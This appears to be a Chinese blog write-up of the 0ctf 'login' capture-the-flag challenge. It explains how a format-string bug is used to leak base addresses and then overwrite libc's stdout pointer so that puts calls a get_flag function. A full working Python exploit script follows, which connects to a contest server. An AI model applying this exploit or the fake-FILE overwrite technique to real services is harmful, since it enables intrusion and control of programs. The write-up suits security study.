0ctf login writeup

溢出点:

比较明显的格式化。


利用:

程序进入这个函数之后,只有两次格式化的机会,之后程序就会调用exit退出了。显然第一次格式化是用来泄露用的,第二次是用来改写数据的。

程序为PIE代码,且有aslr,因此所有地址都不是固定的,不过通过第一次格式化,肯定能得到loginlibc的基地址。

主要第二次格式化应该改写什么。因为程序开启了FullRelro,主程序中的函数指针(如GOT表)都位于只读区域,不可改写。而程序在第二次格式化后只调用了2puts,就直接exit了,也没法通过修改堆栈控制程序流程。

后来想到,搞主程序不行,就去搞libc。分析puts函数,发现一个间接调用。Stdout位于libc.data段中。因此想到通过改stdout,来控制程序调用到get_flag函数。


修改stdoutx,为了能到达间接调用需要满足:

  1. x[0:4]&0x8000=1

  2. x[192:196]=0xffffffff

这样程序调用的是 [x+0xd8]+0x38中的内容。

即:

x[x+0xd8]=y

[y+0x38] = get_flag


需要xy值可控,找了一下,最可控的地方是主程序中保存用户名的地方


因此把x=y=0x202040+login_base


整理一下:

x赋值时:x[0:4]&0x8000=1x[192:196]=0xffffffff

第二次格式化时,需要同时改写3个地方:

# stdout <== x

#x+0xd8 <== x

# x+0x38 <==get_flag

完整利用脚本如下:

#encoding:utf-8
from convert import *
import telnetlib
import struct

#ip = '192.168.194.129'
#port = 1234

ip = '202.112.26.107'
port = 10910

t = telnetlib.Telnet(ip, port)

def stop():
    raw_input('pause')

def init():
    t.read_until('Login:')

    t.write('guest\n')
    t.read_until('Password:')
    t.write('guest123\n')


def login():
    t.read_until('Your choice:')
    t.write('2\n')
    t.read_until('name:')
    t.write('\x81'*4+'A'*188+'\xff'*4+'a'*(256-196))


def login_as_root():
    t.read_until('choice:')
    t.write('4\n')
    t.write('%75$p%79$p\n')
    t.read_until('Password:')
    t.write('passwd\n')
    data = t.read_until('login').split('login')[0].strip()
    mainbase = int(data.split('0x')[1], 16) -0x12d3
    libcbase = int(data.split('0x')[2], 16) - 0x21ec5

    print hex(libcbase)
    print hex(mainbase)

    stdout = libcbase + 0x3bf870
    x = mainbase + 0x202040
    get_flag = mainbase + 0xfb3

    print 'stdout', hex(stdout)
    print 'x',hex(x)
    print 'getflag', hex(get_flag)

    # stdout <== x
    # x+0xd8 <== x
    # x+0x38 <== get_flag
    print 'x+0xd8', hex(x+0xd8)
    print 'x+0x38', hex(x+0x38)
    rt = []
    rt.append(x&0xffff)
    rt.append((x>>16)&0xffff)
    rt.append((x>>32)&0xffff)
    rt.append(x&0xffff)
    rt.append((x>>16)&0xffff)
    rt.append((x>>32)&0xffff)
    rt.append(get_flag&0xffff)
    rt.append((get_flag>>16)&0xffff)
    rt.append((get_flag>>32)&0xffff)

    rt.sort()

    rt2 = []
    rt2.append(x&0xffff)
    rt2.append((x>>16)&0xffff)
    rt2.append((x>>32)&0xffff)
    rt2.append(x&0xffff)
    rt2.append((x>>16)&0xffff)
    rt2.append((x>>32)&0xffff)
    rt2.append(get_flag&0xffff)
    rt2.append((get_flag>>16)&0xffff)
    rt2.append((get_flag>>32)&0xffff)

    rt3=[stdout, stdout+2, stdout+4, x+0xd8, x+0xd8+2, x+0xd8+4, x+0x38, x+0x38+2, x+0x38+4]

    print 'rt', rt
    print 'rt2', rt2
    print 'rt3', rt3

    final_l = ''
    final_r = ''
    index = 14 + 2 + 7

    final_l = '%22$hn%23$hn'
    final_r = l64(x+0xd8+6)+l64(x+0x38+6)
    for i in range(len(rt)):
        if i != 0:
            if rt[i] == rt[i-1]:
                continue
        if i == 0:
            temp = rt[i]
        else:
            temp = rt[i] - rt[i-1]
        final_l += '%'+str(temp)+'x'
        for j in range(len(rt2)):
            if rt2[j] == rt[i]:
                final_l += '%'+str(index+1)+'$hn'
                final_r += l64(rt3[j])
                index += 1
    print len(final_l)
    final_l += '0' * (8 * 14 - len(final_l))
    shellcode = final_l + final_r + '\n'
    print repr(shellcode)

    t.read_until('Login')
    t.write(shellcode)

    t.read_until('Password')
    t.write('12345\n')

def exp():
    stop()
    init()
    login()
    t.write('1\n')
    login_as_root()
    t.interact()

exp()


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值